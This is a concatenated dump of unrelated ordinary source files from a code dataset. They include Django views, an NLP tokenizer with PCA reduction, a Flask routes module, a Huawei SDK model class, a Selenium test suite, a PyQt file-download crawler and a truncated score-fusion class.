link_type.id, subject.id)\n asc_result = class_by_name('Link').objects.ascendants(\n link_type.id, propert.id)\n if (propert.id in des_result) or (subject.id in asc_result):\n msg = _(u\"LinkType is transitive. Existing \"\n \"links conflict with this Subject/Property pair.\")\n self._errors[\"subject\"] = self.error_class([msg])\n del cleaned_data[\"subject\"]\n return cleaned_data\n\n#------------------------------------------------------------------------------\nclass LinkCreateView(DataCreateView):\n 'Generate forms for creating new data items'\n\n\n def get_initial(self):\n \"Initial data getting from path parameters\"\n\n initial = {}\n if (self.kwargs.has_key('subjid') and\n self.kwargs.has_key('properid') and\n self.kwargs.has_key('ltypeid')):\n if self.kwargs['subjid']:\n sub = class_by_name('Base').objects.get(\n pk=self.kwargs['subjid'])\n initial['subject'] = class_by_name(\n sub.classname.classname).objects.get(\n pk=self.kwargs['subjid'])\n if self.kwargs['properid']:\n prp = class_by_name('Base').objects.get(\n pk=self.kwargs['properid'])\n initial['property'] = class_by_name(\n prp.classname.classname).objects.get(\n pk=self.kwargs['properid'])\n if self.kwargs['ltypeid']:\n initial['link_type'] = class_by_name('LinkType').objects.get(\n pk=self.kwargs['ltypeid'])\n return initial\n\n\n def get_queryset(self):\n 'Make a gueryset for subjet and property fields'\n\n sel = {}\n #elem on the desktop\n base_pk = [elem[0].base_id for elem in\n desktoplist(self.request)] # pylint: disable=E1101\n sel['base_select'] = class_by_name('Base').objects.filter(\n id__in=base_pk)\n sel['linktype_select'] = class_by_name('LinkType').objects.filter(\n id__in=base_pk)\n return sel\n\n def get_form_class(self):\n 'Make a form from a class'\n\n form = LinkForm\n #elem on the desktop\n selection = self.get_queryset()\n form.base_fields[ # pylint: disable=E1101\n 'subject'] = ModelChoiceFieldReal(\n selection['base_select'],\n required=False)\n form.base_fields[ # pylint: disable=E1101\n 'property'] = ModelChoiceFieldReal(\n selection['base_select'],\n required=False)\n form.base_fields['link_type'] = ModelChoiceFieldReal(\n selection['linktype_select'],\n required=False)\n return form\n\n def form_invalid(self, form):\n \"\"\"Trap for especial case link_type field is empty and it should be\n caught before db querying.\n \"\"\"\n\n if form._errors.has_key('link_type') and \\\n form._errors['link_type'].__repr__() == repr([u'NEWLINKTYPE']):\n subjid = self.request.POST['subject'] # pylint: disable=E1101\n properid = self.request.POST['property'] # pylint: disable=E1101\n ltypename = self.request.POST[ # pylint: disable=E1101\n 'new_link_type']\n if ltypename:\n return redirect(u\"/add/LinkType/%s/%s/%s/\"\n % (subjid, properid, ltypename))\n else:\n del form._errors['link_type']\n return self.render_to_response( # pylint: disable=E1101\n self.get_context_data(form=form)) # pylint: disable=E1101\n\n\n#------------------------------------------------------------------------------\nclass LinkUpdateView(DataUpdateView):\n 'Link form for editing links.'\n\n\n template_name = 'add_data.html'\n\n def get_queryset(self):\n 'Make a gueryset for subjet and property fields'\n\n sel = {}\n base_pk = [elem[0].base_id for elem in\n desktoplist(self.request)] # pylint: disable=E1101\n sel['base_select'] = class_by_name('Base').objects.filter(\n id__in=base_pk)\n sel['linktype_select'] = class_by_name('LinkType').objects.filter(\n id__in=base_pk)\n return sel\n\n def get_form_class(self):\n 'Make a form from a class'\n\n form = LinkForm\n selection = self.get_queryset()\n form.base_fields[ # pylint: disable=E1101\n 'subject'] = ModelChoiceFieldReal(\n selection['base_select'],\n required=False)\n if self.object.subject and not (self.object.subject in\n selection['base_select']):\n real_obj = class_by_name(\n self.object.subject.classname.classname).objects.get(\n id=self.object.subject.id)\n form.base_fields[\n 'subject'].help_text = _(\"Subject %s not on the \"\n \"desktop\" %real_obj)\n\n form.base_fields[ # pylint: disable=E1101\n 'property'] = ModelChoiceFieldReal(\n selection['base_select'],\n required=False)\n if self.object.property and not (self.object.property in\n selection['base_select']):\n real_obj = class_by_name(\n self.object.property.classname.classname).objects.get(\n id=self.object.property.id)\n form.base_fields[\n 'property'].help_text = _(\"Property %s not on the \"\n \"desktop\" %real_obj)\n form.base_fields['link_type'] = ModelChoiceFieldReal(\n selection['linktype_select'],\n required=False)\n if self.object.link_type and not (self.object.link_type in\n selection['linktype_select']):\n form.base_fields[\n 'link_type'].help_text = _(\"Link type %s not \"\n \"on the desktop\" %self.object.link_type)\n\n return form\n\n def form_invalid(self, form):\n \"\"\"Trap for especial case link_type field is empty and it should be\n caught before db querying.\n \"\"\"\n\n if form._errors.has_key('link_type') and \\\n form._errors['link_type'].__repr__() == repr([u'NEWLINKTYPE']):\n subjid = self.request.POST['subject'] # pylint: disable=E1101\n properid = self.request.POST['property'] # pylint: disable=E1101\n ltypename = self.request.POST[ # pylint: disable=E1101\n 'new_link_type']\n if ltypename:\n return redirect(u\"/add/LinkType/%s/%s/%s/\"\n % (subjid, properid, ltypename))\n else:\n del form._errors['link_type']\n return self.render_to_response( # pylint: disable=E1101\n self.get_context_data(form=form)) # pylint: disable=E1101\n\n#------------------------------------------------------------------------------\nclass LinkTypeCreateView(DataCreateView):\n 'Generate forms for creating new data items'\n\n\n def get_initial(self):\n\n initial = {}\n if (self.kwargs.has_key('subjid') and\n self.kwargs.has_key('properid') and\n self.kwargs.has_key('ltypename')):\n if self.kwargs['ltypename']:\n initial['link_type'] = self.kwargs['ltypename']\n if self.kwargs['subjid']:\n initial['classname1'] = (class_by_name('Base').objects.get(\n pk=self.kwargs['subjid'])).classname\n if self.kwargs['properid']:\n initial['classname2'] = (class_by_name('Base').objects.get(\n pk=self.kwargs['properid'])).classname\n return initial\n\n\n def get_success_url(self):\n if self.object:\n url = '/add/Link/%s/%s/%s/' % (self.kwargs['subjid'],\n self.kwargs['properid'],\n self.object.id)\n else:\n url = '/add/LinkType/%s/%s/%s/' % (self.kwargs['subjid'],\n self.kwargs['properid'],\n self.kwargs['ltypename'])\n return url\n\n#------------------------------------------------------------------------------\nclass SubPropCreateView(DataCreateView):\n \"\"\"Generate subject/property forms for creating new data items and\n return to the edit link page.\n \"\"\"\n\n\n def get_success_url(self):\n 'Prepare the next page url. '\n\n if self.object:\n messages.add_message(self.request, messages.SUCCESS,\n _('Successfully saved %s Data you can add as subject/property'\n ' in Link data' % self.object))\n url = '/edit/Link/%s/' % (self.kwargs['tolink'])\n else:\n url = '/add/%s/%s/' % (self.kwargs['fmname'], self.kwargs['tolink'])\n return url\n","sub_path":"data/subdata/Link/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":17729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"601890830","text":"import re\nfrom nltk.stem.wordnet import WordNetLemmatizer\nfrom nltk import pos_tag\nfrom nltk.corpus import wordnet\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.decomposition import PCA\nfrom sklearn.decomposition import IncrementalPCA\nfrom scipy import sparse\nimport numpy as np\nimport core\n\nngram_min = 1\nngram_max = 1\ncountVec_min_df = 3\n\nclass WordTokenizer(object):\n '''\n WordTokenizer divides each string into isolated\n words, this operation is performed using python\n Regular Expression\n '''\n emoticons_str = r\"\"\"\n (?:\n [:=;] # Eyes\n [oO\\-]? # Nose (optional)\n [D\\)\\]\\(\\]/\\\\OpP] # Mouth\n )\"\"\"\n\n regex_str = [\n emoticons_str,\n r'<[^>]+>', # HTML tags\n r'(?:@[\\w_]+)', # @-mentions\n r\"(?:\\#+[\\w_]+[\\w\\'_\\-]*[\\w_]+)\", # hash-tags\n r'http[s]?://(?:[a-z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-f][0-9a-f]))+', # URLs\n\n r'(?:(?:\\d+,?)+(?:\\.?\\d+)?)', # numbers\n # r\"(?:[a-z][a-z'\\-_]+[a-z])\", # words with - and '\n r'(?:[\\w_]+)', # other words\n r'(?:\\S)' # anything else\n ]\n\n # punctation list\n punctation = ['!', '\"', '#', '$', '%', '&', \"'\", '(', ')', '*', '+', ',', '-', '.',\n '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\\\', ']', '^', '_', '`',\n '{', '|', '}', '~']\n\n def __init__(self):\n self.tokens_re = re.compile(r'(' + '|'.join(self.regex_str) + ')',\n re.UNICODE | re.VERBOSE | re.IGNORECASE)\n self.emoticon_re = re.compile(r'^' + self.emoticons_str + '$',\n re.UNICODE | re.VERBOSE | re.IGNORECASE)\n self.undef_re = re.compile(r'^' + self.regex_str[-1] + '$',\n re.UNICODE | re.VERBOSE | re.IGNORECASE)\n self.men_re = re.compile(r'^' + self.regex_str[2] + '$',\n re.UNICODE | re.VERBOSE | re.IGNORECASE)\n self.url_re = re.compile(r'(' + '|'.join([self.regex_str[1], self.regex_str[4]]) + ')',\n re.UNICODE | re.VERBOSE | re.IGNORECASE)\n\n def tokenize(self, word):\n return self.tokens_re.findall(word)\n\n def preprocess(self, s, lowercase=False, words_only=False):\n tokens = self.tokenize(s)\n if words_only:\n tokens = [token\n for token in tokens\n if not self.emoticon_re.search(token)\n and not self.url_re.search(token)\n and not self.undef_re.search(token)\n and not self.men_re.search(token)\n ]\n # Lowercase option for words, not emoticon\n if lowercase:\n tokens = [token if self.emoticon_re.search(token) else token.lower() for token in tokens]\n return tokens\n\n def divide_tweet(self, text):\n stop = self.punctation\n str_words = self.preprocess(text, lowercase=False,\n words_only=True)\n str_words = [term for term in str_words if term not in stop]\n return str_words\n\ndef negation_unigrams(tokens):\n \"\"\"\n Function making negation for unigrams\n :param tokens: list with words\n \"\"\"\n negation_dct = [\"n't\", \"not\", \"never\", \"no\", \"neither\", \"nor\", \"none\", \"Not\", \"Never\", \"No\", \"Neither\", \"None\"]\n doc_len = len(tokens)\n for idx in range(doc_len):\n if tokens[idx] in negation_dct:\n if idx == 0:\n tokens[idx + 1] = \"!{}\".format(tokens[idx + 1])\n elif idx == doc_len - 1:\n tokens[idx - 1] = \"!{}\".format(tokens[idx - 1])\n else:\n tokens[idx + 1] = \"!{}\".format(tokens[idx + 1])\n tokens[idx - 1] = \"!{}\".format(tokens[idx - 1])\n return tokens\n\ndef get_lemmatized_words(words):\n lmtzr = WordNetLemmatizer()\n morphy_tag = {'NN': wordnet.NOUN, 'JJ': wordnet.ADJ, 'VB': wordnet.VERB, 'RB': wordnet.ADV}\n return [w_tuple[0] if w_tuple[1][:2] not in morphy_tag else lmtzr.lemmatize(w_tuple[0], morphy_tag.get(w_tuple[1][:2])) for w_tuple in pos_tag(words)]\n\ndef get_ngrams_and_countVect(train_data):\n count_vect = CountVectorizer(ngram_range=(ngram_min, ngram_max), lowercase=True, min_df=countVec_min_df)\n X = count_vect.fit_transform(train_data).toarray()\n return X, count_vect\n\ndef get_ngrams(test_data, cntvect):\n new_vec = CountVectorizer(ngram_range=(ngram_min, ngram_max), lowercase=True, vocabulary=cntvect.vocabulary_)\n X = new_vec.fit_transform(test_data).toarray()\n return X\n\ndef pca_opt(array, pcaModel=None, svdopt=500):\n chunkSize = 500\n if pcaModel is None:\n times_less = len(array[0]) / svdopt\n pca_desc = 'Dlugosc wektora opisujacego dzieło zredukowano ' + str(int(times_less)) + '-krotnie. Finalna liczba atrybutów dla dzieła: ' + str(svdopt) + '.'\n print(pca_desc)\n\n if len(array) < 1000:\n pca = PCA(n_components=svdopt)\n Xtransformed = pca.fit_transform(array)\n Xtransformed = sparse.csr_matrix(Xtransformed)\n else:\n iter = int(len(array) / chunkSize)\n chunks = [array[i:i + chunkSize] for i in range(0, iter * chunkSize, chunkSize)]\n pca = IncrementalPCA(n_components=svdopt)\n\n for chunk in chunks:\n pca.partial_fit(chunk)\n\n Xtransformed = None\n for chunk in chunks:\n Xchunk = pca.transform(chunk)\n if Xtransformed is None:\n Xtransformed = Xchunk\n else:\n Xtransformed = np.vstack((Xtransformed, Xchunk))\n Xtransformed = sparse.csr_matrix(Xtransformed)\n\n return pca, Xtransformed.toarray()\n else:\n if len(array) < 1000:\n Xtransformed = pcaModel.transform(array)\n Xtransformed = sparse.csr_matrix(Xtransformed)\n else:\n chunks = [array[i:i + chunkSize] for i in range(0, len(array), chunkSize)]\n\n Xtransformed = None\n for chunk in chunks:\n Xchunk = pcaModel.transform(chunk)\n if Xtransformed is None:\n Xtransformed = Xchunk\n else:\n Xtransformed = np.vstack((Xtransformed, Xchunk))\n Xtransformed = sparse.csr_matrix(Xtransformed)\n\n return Xtransformed.toarray()","sub_path":"data_cleaner.py","file_name":"data_cleaner.py","file_ext":"py","file_size_in_byte":6452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"134080019","text":"import os\nimport re\n\ndef pathdepth(path):\n m = ''\n for root, dirs, files in os.walk(path, topdown = False):\n for d in dirs:\n k = os.path.join(root, d)\n if len(re.findall(r'\\\\', k))>len(re.findall(r'\\\\', m)):\n m = k\n m = m.replace(path, '')\n depth = len(re.findall(r'\\\\', m))\n return(depth)\n \ndef main():\n path = input('Введите путь к папке: ')\n print('Максимальная глубина папки в этом дереве: '+ str(pathdepth(path)))\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"Phw14/var1.py","file_name":"var1.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"555361215","text":"\"\"\"\nCS241 Homework 7\nWritten by Chad Macbeth\n\"\"\"\n\ndef fib(n):\n # Base Cases\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n elif n == 2:\n return 1\n\n # By definition: fib(n) = fib(n-1) + fib(n-2)\n return fib(n-1) + fib(n-2)\n\n# Print out the first 20 fib numbers\nfor i in range(20):\n print(\"fib({}) = {}\" .format(i, fib(i)))\n\n","sub_path":"homework/hw07.py","file_name":"hw07.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"464353283","text":"import flask_excel as excel\nfrom flask import jsonify\nfrom flask import request\nfrom flask_login import login_required, current_user\n\nfrom app import db\nfrom app.manager import bp\nfrom app.manager.util import permission_required, students_records, students_records_for_export\nfrom app.models import Post\n\n'''\n 获取所有学生信息的接口\n'''\n\n\n@bp.route('/students')\n@login_required\n@permission_required\ndef students():\n return jsonify({'data': students_records()})\n\n\n'''\n 导出接口,返回一个 excel 文件\n'''\n\n\n@bp.route('/export')\n@login_required\n@permission_required\ndef export():\n return excel.make_response_from_records(records=students_records_for_export(), file_type='xlsx')\n\n\n'''\n 创建新的招聘信息\n'''\n\n\n@bp.route('/post', methods=['POST'])\n@login_required\n@permission_required\ndef create_post():\n title = request.form['title'] # 从 POST 请求的表单中获取标题\n content = request.form['ckeditor'] # 从 POST 请求的表单中获取内容\n post = Post(title=title, content=content, author_id=current_user.id)\n db.session.add(post) # 将招聘信息添加到数据库中\n db.session.commit()\n return jsonify({'success': True, 'message': 'create post success'})\n","sub_path":"app/manager/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"525941033","text":"# coding: utf-8\n\nimport six\n\nfrom huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization\n\n\nclass PolicyItemDataMaskInfo:\n\n \"\"\"\n Attributes:\n openapi_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n sensitive_list = []\n\n openapi_types = {\n 'condition_expr': 'str',\n 'data_mask_type': 'str',\n 'value_expr': 'str'\n }\n\n attribute_map = {\n 'condition_expr': 'condition_expr',\n 'data_mask_type': 'data_mask_type',\n 'value_expr': 'value_expr'\n }\n\n def __init__(self, condition_expr=None, data_mask_type=None, value_expr=None):\n \"\"\"PolicyItemDataMaskInfo\n\n The model defined in huaweicloud sdk\n\n :param condition_expr: 条件表达式\n :type condition_expr: str\n :param data_mask_type: 列掩码类型\n :type data_mask_type: str\n :param value_expr: 列掩码表达式\n :type value_expr: str\n \"\"\"\n \n \n\n self._condition_expr = None\n self._data_mask_type = None\n self._value_expr = None\n self.discriminator = None\n\n if condition_expr is not None:\n self.condition_expr = condition_expr\n if data_mask_type is not None:\n self.data_mask_type = data_mask_type\n if value_expr is not None:\n self.value_expr = value_expr\n\n @property\n def condition_expr(self):\n \"\"\"Gets the condition_expr of this PolicyItemDataMaskInfo.\n\n 条件表达式\n\n :return: The condition_expr of this PolicyItemDataMaskInfo.\n :rtype: str\n \"\"\"\n return self._condition_expr\n\n @condition_expr.setter\n def condition_expr(self, condition_expr):\n \"\"\"Sets the condition_expr of this PolicyItemDataMaskInfo.\n\n 条件表达式\n\n :param condition_expr: The condition_expr of this PolicyItemDataMaskInfo.\n :type condition_expr: str\n \"\"\"\n self._condition_expr = condition_expr\n\n @property\n def data_mask_type(self):\n \"\"\"Gets the data_mask_type of this PolicyItemDataMaskInfo.\n\n 列掩码类型\n\n :return: The data_mask_type of this PolicyItemDataMaskInfo.\n :rtype: str\n \"\"\"\n return self._data_mask_type\n\n @data_mask_type.setter\n def data_mask_type(self, data_mask_type):\n \"\"\"Sets the data_mask_type of this PolicyItemDataMaskInfo.\n\n 列掩码类型\n\n :param data_mask_type: The data_mask_type of this PolicyItemDataMaskInfo.\n :type data_mask_type: str\n \"\"\"\n self._data_mask_type = data_mask_type\n\n @property\n def value_expr(self):\n \"\"\"Gets the value_expr of this PolicyItemDataMaskInfo.\n\n 列掩码表达式\n\n :return: The value_expr of this PolicyItemDataMaskInfo.\n :rtype: str\n \"\"\"\n return self._value_expr\n\n @value_expr.setter\n def value_expr(self, value_expr):\n \"\"\"Sets the value_expr of this PolicyItemDataMaskInfo.\n\n 列掩码表达式\n\n :param value_expr: The value_expr of this PolicyItemDataMaskInfo.\n :type value_expr: str\n \"\"\"\n self._value_expr = value_expr\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.openapi_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n if attr in self.sensitive_list:\n result[attr] = \"****\"\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n import simplejson as json\n if six.PY2:\n import sys\n reload(sys)\n sys.setdefaultencoding(\"utf-8\")\n return json.dumps(sanitize_for_serialization(self), ensure_ascii=False)\n\n def __repr__(self):\n \"\"\"For `print`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, PolicyItemDataMaskInfo):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n","sub_path":"huaweicloud-sdk-lakeformation/huaweicloudsdklakeformation/v1/model/policy_item_data_mask_info.py","file_name":"policy_item_data_mask_info.py","file_ext":"py","file_size_in_byte":4995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"620668368","text":"\"\"\"\n@author:fei\n@date:2018-09-03\n@brief:对职务页面的测试用例\n\"\"\"\n\n\nfrom pyvirtualdisplay import Display\nimport platform\nimport unittest\nimport time\n\nfrom common.log import logger\nfrom common.exec_mysql import ExecMysql\nfrom page.SafeManager.system_management.position.position_management import PositionManagement, browser, manager_url, position_management_url\n\nstatus = ExecMysql().select_mysql(\"select status from run_status where id=4\")[0][0]\n\n\n\nclass TestPositionManagement(unittest.TestCase):\n \"\"\"对职务页面的测试用例\"\"\"\n\n @classmethod\n def setUpClass(cls):\n cls.syt = platform.system()\n if cls.syt == \"Linux\":\n cls.display = Display(visible=0, size=(2560, 1600))\n cls.display.start()\n cls.browser = browser()\n cls.driver = PositionManagement(cls.browser)\n cls.driver.open_url(manager_url)\n cls.mysql = ExecMysql()\n\n @classmethod\n def tearDownClass(cls):\n cls.driver.quit()\n if cls.syt == 'Linux':\n cls.display.stop()\n\n def setUp(self):\n self.driver.yf_manager_login()\n if self.driver.element_click(self.driver.find_element(('id', 'institutions'))):\n self.driver.open_url(position_management_url)\n\n def tearDown(self):\n self.driver.delete_all_cookies()\n self.driver.refresh()\n\n\n def test_aa_add_button_click(self):\n \"\"\"点击新增职务按钮\"\"\"\n try:\n result = self.driver.add_button_click()\n logger.info('职务管理页面点击添加按钮,显示的元素:%s' % result)\n self.assertEqual(result, '新增职务')\n except Exception as msg:\n logger.info(msg)\n raise\n\n def test_ab_no_input_name_add_department(self):\n \"\"\"不输入职务名称,点击保存\"\"\"\n try:\n result = self.driver.no_input_name_add_position()\n logger.info('职务管理页面点击添加按钮,不输入任何信息,点击保存,显示的提示信息为:%s' % result)\n self.assertEqual(result, '必填项')\n except Exception as msg:\n logger.info(msg)\n raise\n\n def test_ac_add_position(self):\n \"\"\"新增职务\"\"\"\n try:\n name = 'position'+str(int(time.time()))\n result = self.driver.add_position(name)\n logger.info(\"职务管理页面点击添加按钮,输入职务名称,点击保存,显示的提示信息为:%s\" % result)\n if result == \"新增成功\":\n sql = \"UPDATE add_product_name SET product_name='%s' WHERE id=3\" % name\n sql1 = \"update run_status set status='1' where id=3\"\n self.mysql.update_mysql(sql)\n self.mysql.update_mysql(sql1)\n self.assertEqual(result, '新增成功')\n except Exception as msg:\n logger.info(msg)\n raise\n\n def test_ad_exist_name_add(self):\n \"\"\"添加已经存在的职务名字\"\"\"\n try:\n sql = \"select name from search_name where id=5\"\n name = self.mysql.select_mysql(sql)[0][0]\n result = self.driver.add_position(name)\n logger.info(\"职务管理页面点击添加按钮,输入已经存在职务名称,点击保存,显示的提示信息为:%s\" % result)\n self.assertEqual(result, '职务已存在')\n except Exception as msg:\n logger.info(msg)\n raise\n\n def test_ae_search_department(self):\n \"\"\"在搜索中输入职务名称,点击搜索\"\"\"\n try:\n sql = \"select name from search_name where id=5\"\n name = self.mysql.select_mysql(sql)[0][0]\n result = self.driver.search_position(name)\n logger.info('在搜索中输入mame,点击搜索,显示的结果为:%s' % result)\n self.assertIn(result, name)\n except Exception as msg:\n logger.info(msg)\n raise\n\n\n def test_af_editor_department_click(self):\n \"\"\"列表中点击编辑按钮\"\"\"\n try:\n sql = \"select name from search_name where id=5\"\n name = self.mysql.select_mysql(sql)[0][0]\n result = self.driver.editor_position_click(name)\n logger.info('列表中点击编辑按钮,显示的提示:%s' % result)\n self.assertEqual(result, '编辑职务')\n except Exception as msg:\n logger.info(msg)\n raise\n\n def test_ag_editor_department(self):\n \"\"\"编辑职务\"\"\"\n try:\n sql = \"select name from search_name where id=5\"\n name = self.mysql.select_mysql(sql)[0][0]\n result = self.driver.editor_position(name)\n logger.info('编辑职务,点击保存后的提示:%s' % result)\n self.assertEqual(result, '编辑成功')\n except Exception as msg:\n logger.info(msg)\n raise\n\n @unittest.skipUnless(status, '添加职务失败')\n def test_ah_delete_department(self):\n \"\"\"删除职务\"\"\"\n try:\n sql = \"select product_name from add_product_name where id=3\"\n name = self.mysql.select_mysql(sql)[0][0]\n result = self.driver.delete_position(name)\n logger.info('删除产品后的提示:%s' % result)\n self.assertEqual(result, '删除成功')\n except Exception as msg:\n logger.info(msg)\n raise\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"case/ae_system_management/test_ac_position.py","file_name":"test_ac_position.py","file_ext":"py","file_size_in_byte":5506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"120764146","text":"from Xpath_Folder import Folder_Repo\r\n\r\nfrom FolderOperations import CopyFileOperation\r\nimport os\r\nimport zipfile\r\n\r\nclass unzip:\r\n def unzip_operation_for_NumberOfTrades(self):\r\n #Object Declaration for URL Paths ,Xpaths\r\n folder_object = Folder_Repo.FolderPath()\r\n files = []\r\n # r=root, d=directories, f = files\r\n for r, d, f in os.walk(folder_object.Folder_For_NumberOfTrades_zip):\r\n for file in f:\r\n if '.zip' in file:\r\n files.append(os.path.join(r, file))\r\n\r\n for file_path in files:\r\n with zipfile.ZipFile(file_path, 'r') as zip_ref:\r\n zip_ref.extractall(folder_object.Folder_For_NumberOfTrades_CSV)\r\n\r\n\r\n\r\n# Price_Trade_volume_files = []\r\n# for r, d, f in os.walk(folder_object.Folder_For_Price_and_TradedVolume_zip):\r\n# for file in f:\r\n# if '.zip' in file:\r\n# Price_Trade_volume_files.append(os.path.join(r, file))\r\n#\r\n#\r\n# for file_path in Price_Trade_volume_files:\r\n# with zipfile.ZipFile(file_path, 'r') as zip_ref:\r\n# zip_ref.extractall(folder_object.Folder_For_Price_and_TradedVolume_zip)","sub_path":"FolderOperations/Unzip_operation.py","file_name":"Unzip_operation.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"153339398","text":"import os\nimport re\nimport sys\nfrom urllib.request import urlopen\nfrom urllib.error import URLError, HTTPError\nfrom urllib.parse import urljoin\nfrom os.path import split\nfrom PyQt5.QtWidgets import (QTextEdit, QProgressBar, QFileDialog, QLabel, QWidget, QPushButton, QLineEdit,\n QInputDialog, QApplication)\n\ndef download(link, doc_name):\n \"\"\"\n Download a pdf file on 'link' and saves it as 'doc_name'.\n \"\"\"\n data = urlopen(link)\n with open(doc_name, \"wb\") as file:\n file.write(data.read())\n\n\nclass Example(QWidget):\n\n def __init__(self):\n super().__init__()\n self.initUI()\n\n def initUI(self):\n self.instr = QLabel(\"Choose an extension and the link to download from\", self)\n self.instr.move(20, 15)\n\n self.ext_label = QLabel(\"Extension: \", self)\n self.ext_label.move(20, 50)\n\n\n self.ext_input = QLineEdit(self)\n self.ext_input.move(115, 45)\n self.ext_input.returnPressed.connect(self.download)\n\n self.dom_label = QLabel(\"Link: \", self)\n self.dom_label.move(20, 90)\n\n self.dom_input = QLineEdit(self)\n self.dom_input.move(115, 85)\n self.dom_input.returnPressed.connect(self.download)\n\n self.dwl_but = QPushButton(\"Download\", self)\n self.dwl_but.move(280,45)\n self.dwl_but.resize(100, 75)\n self.dwl_but.clicked.connect(self.download)\n\n self.dwl_bar = QProgressBar(self)\n self.dwl_bar.move(20, 125)\n self.dwl_bar.resize(360, 25)\n\n self.results = QTextEdit(self)\n self.results.move(20, 150)\n self.results.resize(360, 100)\n self.results.setReadOnly(True)\n\n\n\n self.setGeometry(300, 300, 400, 300)\n self.setFixedSize(400, 300)\n self.setWindowTitle(\"File Crawler\")\n self.show()\n\n def download(self):\n self.results.setText(\"\")\n file = str(QFileDialog.getExistingDirectory(self, \"Onde salvar?\"))\n if (file != \"\"):\n domain = self.dom_input.text()\n extension = self.ext_input.text()\n try:\n web_text = urlopen(domain, timeout=1.5).read().decode('utf-8', 'ignore')\n except ValueError:\n try:\n domain = \"http://\"+domain\n web_text = urlopen(domain, timeout=1.5).read().decode('utf-8', 'ignore')\n except Exception as e:\n self.results.append(str(e))\n web_text = None\n except Exception as e:\n self.results.append(str(e))\n web_text = None\n\n if web_text != None:\n double_b_file_pattern = re.compile(\"=\\\"([^(\\'|\\\")]*\\.\"+extension+\")\")\n simple_b_file_pattern = re.compile(\"=\\'([^(\\'|\\\")]*\\.\"+extension+\")\")\n matches = double_b_file_pattern.findall(web_text)\n matches.extend(simple_b_file_pattern.findall(web_text))\n else:\n matches = []\n if len(matches) > 0:\n self.dwl_bar.setValue(0)\n self.results.append(\"Saving to \" + file)\n self.results.append(\"%d files were found.\" % len(matches))\n for index, item in enumerate(matches, 1):\n self.dwl_bar.setValue(int(100 * index / len(matches)))\n try:\n download(urljoin(domain, item), file + \"/\" + split(item)[-1])\n except Exception as e:\n # Document links may be broken, in this case, nothing to do.\n self.results.append(\"Could not download {}, {}\".format(split(item)[-1], e))\n self.results.append(\"Finished downloading.\")\n else:\n self.results.append(\"Could not find any file.\")\n\ndef main():\n app = QApplication(sys.argv)\n ex = Example()\n sys.exit(app.exec_())","sub_path":"fileCrawler/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"270685497","text":"#!/usr/bin/env python\n#Tiago de Freitas Pereira \n#Oct 01 20:50:00 CEST 2012\n\n\"\"\"\nThis script run the score fusion\n\n\"\"\"\n\nimport numpy\n\nfrom .. import *\n\nimport abc\n\nclass ScoreFusion:\n \"\"\"\nClass that run different Score level fusion with different normalization score algorithm\n\"\"\"\n\n __metaclass__ = abc.ABCMeta\n\n @abc.abstractmethod\n def train(self,trainer_scores=None):\n \"\"\"\nTrain the score fusion algorithm\n\ntrainer_scores\nA set of scores to train the LLR\n\n\"\"\"\n\n\n\n @abc.abstractmethod\n def __call__(self,scores):\n \"\"\"\nGet the fusion of scores using the LLR machine\n\nKeyword Parameters:\n\nscores\nThe Scores to be fused (numpy.array).\n\n\"\"\"\n\n @abc.abstractmethod\n def get_machine(self):\n \"\"\"\nReturns the machine of the fusion\n\n\"\"\"\n\n @staticmethod\n def computeStatistics(decisions):\n \"\"\"\nCompute the Q-Statistic between TWO classifiers following the algorithm proposed in:\n\nMeasures of Diversity in Classifier Ensembles and Their Relationship with the Ensemble Accuracy - LUDMILA I. KUNCHEVA AND CHRISTOPHER J. WHITAKER\n\nQStatistic = (N11*N10 - N01*N10) / (N11*N10 + N01*N10)\n\nDisagreement Measures = (N01*N10) / (N11 + N10 + N01 + N10)\n\ndouble-fault measure = N00 / (N11 + N10 + N01 + N10)\n\nWhere -> N11 - When both classifiers agree\nN00 - When both classifiers disagree\nN10 - The first classifier make the correct decision and the second not\nN01 - The first classifier make a mistake and the second not\n\nHow to interpret the QStatistic?\nThe output is float and the range of the output is -1 